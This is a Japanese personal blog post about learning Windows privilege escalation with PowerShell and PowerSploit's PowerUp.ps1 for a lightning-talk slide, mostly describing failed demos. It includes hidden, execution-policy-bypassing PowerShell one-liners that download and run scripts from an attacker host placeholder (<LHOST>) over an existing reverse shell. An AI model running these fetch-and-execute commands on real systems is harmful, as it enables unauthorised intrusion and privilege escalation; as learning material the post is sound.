PowerShellの権限昇格のLTスライドを作りたかった話

ちょくちょくWindowsマシンも見かけるためPowerShell?なにそれ美味しいのって状態だったため、脱却すべく、どうせなら飛び入りLT用資料にしよう(今回も使用する宛はありません。)といったことでスライドにまとめながらPowerShellを使用した権限昇格についてまとめることにした。

結論から言えばツールは非常に優れている。探せば使用方法等もたくさん出てくる。しかし僕はPowerShellという存在に勝てなかった。
問題のスライドがこちら。

出だしはよかった。幸いにもたくさんの参考資料もあればチートシートもある。Githubリポジトリにも詳細が書いてある。しかしながらたくさんの点で詰まった結果、デモ用に使用してたマシンの想定解答とは違うのは承知しているが、上手く動作させることが出来なかったという点からそれが想定解答として出題された時、解答出来るか危うい。

低位権限でcmd.exeでReverseTCPが貼れているものとする。オプションは忘れたが-nop exec bypassさえつけていれば大丈夫だと思う。
この例では正常に動作した。

powershell -noni -nop -exec bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>');Invoke-AllChecks"

PowerUp1をダウンロードさせることには成功した。このダウンロードにも””をつけたら通ったり通らなかったりといま考えれば、環境か自分のミスも考えうる所ではある。
cmd ReverseTCPとPowerShell ReverseTCPを使用したがどちらも上手く行かなかった。(別環境なのでその点でも検証といった意味ではよろしくない) 

PS C:\> IEX (New-Object System.Net.WebClient).DownloadFile('http://<LHOST>/PowerUp.ps1', 'C:\Windows\TEMP\PowerUp.ps1')

> powershell -nop -exec bypass -w hidden "IEX (New-Object System.Net.WebClient).DownloadFile('http://<LHOST>/PowerUp.ps1', 'C:\Windows\TEMP\PowerUp.ps1')"

ちなみにDownloadFileはarg2にフルパスで書かないとエラーが出て上手くダウンロード出来なかった。
Example: C:\Users\user\Desktop\PowerUp.ps1

しかしながら以下の点で詰まった

# reverse cmd
# レスポンスがなかった
powershell.exe -nop -exec bypass

# reverse powershell
# なんかエラー出た
PS C:\> Import-Module PowerUp.ps1

と。Usageを見ながらスライドを作っていたわけだが、デモがなかなかうまく行かず企画倒れになってしまった。
しかしながら一番重要な点、Invoke-AllChecksについては情報の取得にはどの環境でも上手く行っているため、その情報を上手く使いこなせなかった自分が悪い。

Invoke-AllChecksで得られた情報からAdministratorのReverse TCPが取れたのは別の話。

f:id:Yunolay:20190903161830p:plain

正直こんかいのスライドに限ってはこの手法での管理者権限の取得は理想ではなかった。

スライドにもあるが多くのUsageで紹介されている新規ユーザを作り、管理者権限を与えるといった手法は自分の環境では再現できなかった。

f:id:Yunolay:20190903122107p:plain

DLL injectionについては全く知識がないためスルーであった。

公式リポジトリには様々なコマンドがある。

PowerSploit/Privesc at master · PowerShellMafia/PowerSploit · GitHub

得られた情報から悪用出来るServiceを探すだけでなく、別の穴を探せる技能も必要になるかもしれない。もしかしたらそれが正しい使い方なのかも。

また今回はPowerUp.ps1に着目したが、他にもツールはたくさんあり、PowerShellを制するためには相当の時間が掛かりそうだ。

GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework

何にせよ、自分がPowerUp.ps1ですら使いこなせていないので修行の必要を感じた。
いつかまた詳しくなったらまた資料を一新したい。

もし私を助けてくれる人がいるならば、Twitterのリプライ、DM、Discordなんでもお待ちしています。

参考

PowerUp: A Usage Guide – harmj0y

Advanced PowerUp.ps1 Usage - Recipe for Root

Windows Privilege Escalation Using PowerShell - HacknPentest